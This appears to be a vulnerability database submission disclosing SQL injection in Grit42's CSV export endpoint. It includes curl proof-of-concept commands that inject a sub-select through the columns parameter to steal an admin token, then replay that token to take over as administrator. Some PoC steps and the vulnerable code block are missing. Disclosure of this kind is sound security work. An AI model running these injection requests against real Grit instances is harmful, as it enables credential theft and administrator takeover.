| Title | Grit Grit42 0.0.x through 0.11.0 SQL Injection |
|---|
| Description | Please check full advisory here for better reference: https://github.com/natanmorette-thoropass/thoropass-vuln-research-program/blob/main/2026/SQL%20Injection%20in%20grit42%20CSV%20Export%20Endpoint/README.md
## Vulnerability Summary
The CSV export action in grit's `GritEntityController` splats the user-controlled `params[:columns]` into `Model.unscoped.select(*params[:columns])`, then wraps the resulting relation in a PostgreSQL `COPY (...) TO STDOUT WITH CSV HEADER` statement. Rails' `select` accepts raw SQL fragments, so any authenticated user can inject sub-selects into the SELECT clause and exfiltrate any column the database role can see.
This includes `crypted_password`, `single_access_token`, `forgot_token`, `activation_token`, and `two_factor_token` from `grit_core_users`. Because grit accepts the static `single_access_token` as a permanent `Authorization: Bearer` credential, a leaked admin token converts a zero-role account into a full Administrator in a single HTTP request.
## Technical Analysis
➤ Vulnerable Endpoint: `GET /api/grit/core/origins/export?columns[]=...` (and every sibling resource with `resources_with_export` in routes: `locations`, `countries`, `vocabulary_items`, `units`, `data_types`, `batches`, `synonyms`, `compounds`, `compound_types`, `data_table_rows`, plus the assays `experiments#export`).
➤ Authentication: any active user. No specific role required. The `before_action` chain applies `:require_user` but `:check_read` is restricted to `index` / `show`, so a zero-role user can hit `export` even when blocked from `index`.
### Vulnerable Code
`modules/core/backend/app/controllers/concerns/grit/core/grit_entity_controller.rb`:
### Proof of Concept
#### Prerequisites
- A running grit instance reachable over HTTP/S.
- One active user account at the lowest possible privilege level (zero roles is sufficient).
**1. Authenticate as any low-privilege user and capture the token.**
```bash
curl -s -c /tmp/lowpriv -X POST http://localhost:3000/api/grit/core/user_session -H 'Content-Type: application/json' -d '{"user_session":{"login":"[email protected]","password":"LowPriv1!"}}' > /dev/null; set LOWPRIV_TOKEN (curl -s -b /tmp/lowpriv http://localhost:3000/api/grit/core/user_session | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])"); echo "Captured Token: $LOWPRIV_TOKEN"
```

**3. Fire the SQLi to read admin credentials from `grit_core_users`.**
```bash
curl -G "http://localhost:3000/api/grit/core/origins/export" -H "Authorization: Bearer $LOWPRIV_TOKEN" --dat
a-urlencode "columns[]=name" --data-urlencode "columns[]=(SELECT single_access_token FROM grit_core_users WHERE
login='admin') AS admin_token"
```

Server response:
```
HTTP/1.1 200 OK
Content-Type: text/csv
Name,Admin token
ADMIN,GvRUmqQI4jM_gP3NjHTl
```
The `Token` cell is the admin's permanent `single_access_token`.
**5. Confirm full administrator takeover by replaying the leaked token as a Bearer credential.**
```bash
curl -H "Authorization: Bearer GvRUmqQI4jM_gP3NjHTl" \
"http://localhost:3000/api/grit/core/users?scope=user_administration"
```

The response now lists every user including their stored `single_access_token`, `forgot_token`, and `activation_token` values. The attacker has read-write administrator access.
## Impact
A remote attacker holding any active grit account can:
- Read every column of every table the database role can see, including hashed passwords (`grit_core_users.crypted_password`), permanent API tokens (`single_access_token`), pending password-reset tokens (`forgot_token`), pending activation tokens (`activation_token`), and second-factor tokens (`two_factor_token`).
- Replay a leaked admin `single_access_token` as `Authorization: Bearer`, gaining permanent administrator access without needing to touch the password reset or 2FA flows.
- As administrator, create, modify, or destroy any user, role, vocabulary, compound, batch, assay model, experiment, or attachment on the platform.
- On the official `grit42com/grit` Docker stack, additionally read arbitrary files inside the database container via `pg_read_file()`, since the bundled DB role retains `SUPERUSER`.
In a multi-tenant CRO deployment of grit, a single role-less account (a scientist's free-tier login) is enough to exfiltrate every project's research data and impersonate the platform administrator.
|
|---|
| Source | ⚠️ https://github.com/natanmorette-thoropass/thoropass-vuln-research-program/blob/main/2026/SQL%20Injection%20in%20grit42%20CSV%20Export%20Endpoint/README.md |
|---|
| User | nmmorette (UID 87361) |
|---|
| Submission | 05/01/2026 00:39 (2 months ago) |
|---|
| Moderation | 06/14/2026 08:33 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 370834 [Grit42 Grit up to 0.11.0 GritEntityController grit_entity_controller.rb sql injection] |
|---|
| Points | 20 |
|---|